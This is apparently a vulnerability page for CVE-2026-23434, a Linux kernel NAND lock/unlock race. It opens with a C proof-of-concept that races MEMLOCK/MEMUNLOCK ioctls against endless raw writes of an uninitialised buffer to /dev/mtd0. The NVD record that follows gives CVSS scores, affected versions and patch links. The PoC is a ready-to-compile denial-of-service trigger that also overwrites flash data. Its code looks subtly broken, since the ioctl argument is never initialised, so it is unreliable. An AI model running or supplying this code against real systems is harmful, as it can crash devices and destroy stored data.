CVE-2026-23434

/* * PoC for CVE-2026-23434: Race condition in NAND lock/unlock * This PoC attempts to trigger the race by spawning threads that * constantly lock/unlock the MTD device while another thread performs IO. * Compile: gcc -o poc_nand_race poc_nand_race.c -lpthread */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <sys/ioctl.h> #include <linux/mtd/mtd.h> #include <unistd.h> #include <pthread.h> #define MTD_DEVICE "/dev/mtd0" void* lock_unlock_thread(void* arg) { int fd = open(MTD_DEVICE, O_RDWR); struct erase_info_user ei; struct mtd_oob_buf oob; int i; if (fd < 0) { perror("open mtd"); return NULL; } while (1) { // Attempt to lock/unlock to race with background ops // MEMLOCK and MEMUNLOCK ioctls trigger the vulnerable path ioctl(fd, MEMLOCK, &ei); ioctl(fd, MEMUNLOCK, &ei); } close(fd); return NULL; } void* io_thread(void* arg) { int fd = open(MTD_DEVICE, O_RDWR); char buf[4096]; if (fd < 0) return NULL; while (1) { // Trigger UBI/UBIFS background operations (write/erase) write(fd, buf, sizeof(buf)); } close(fd); return NULL; } int main() { pthread_t t1, t2; printf("Starting PoC for CVE-2026-23434...\n"); pthread_create(&t1, NULL, lock_unlock_thread, NULL); pthread_create(&t2, NULL, io_thread, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); return 0; }

{"cve": {"id": "CVE-2026-23434", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-03T16:16:24.913", "lastModified": "2026-04-27T14:16:32.590", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmtd: rawnand: serialize lock/unlock against other NAND operations\n\nnand_lock() and nand_unlock() call into chip->ops.lock_area/unlock_area\nwithout holding the NAND device lock. On controllers that implement\nSET_FEATURES via multiple low-level PIO commands, these can race with\nconcurrent UBI/UBIFS background erase/write operations that hold the\ndevice lock, resulting in cmd_pending conflicts on the NAND controller.\n\nAdd nand_get_device()/nand_release_device() around the lock/unlock\noperations to serialize them against all other NAND controller access."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.7.1", "versionEndExcluding": "5.10.253", "matchCriteriaId": "44827F4D-4242-412D-B59A-6D9F5FC547B1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.203", "matchCriteriaId": "20DDB3E9-AABF-4107-ADB0-5362AA067045"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.167", "matchCriteriaId": "2EDC6BAF-B710-4E26-B6AA-D68922EE7B43"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.130", "matchCriteriaId": "C57BB918-DF28-46B3-94F7-144176841267"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.78", "matchCriteriaId": "28D591F5-B196-4CC9-905C-DC80F116E7A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.20", "matchCriteriaId": "E5571059-6552-48E7-9BEF-3E358C387171"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.10", "matchCriteriaId": "96D34333-38BE-4414-9E79-6EB764329581"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:5.7:-:*:*:*:*:*:*", "matchCriteriaId": "3D23CE42-BDB2-4216-8495-230ABE98FCDD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/28ea836cc44cb8b89c1c174707ead0c1133c60e9", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/5fd5c078af23cb353507aa522e09d557d7eaef04", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": [ ... 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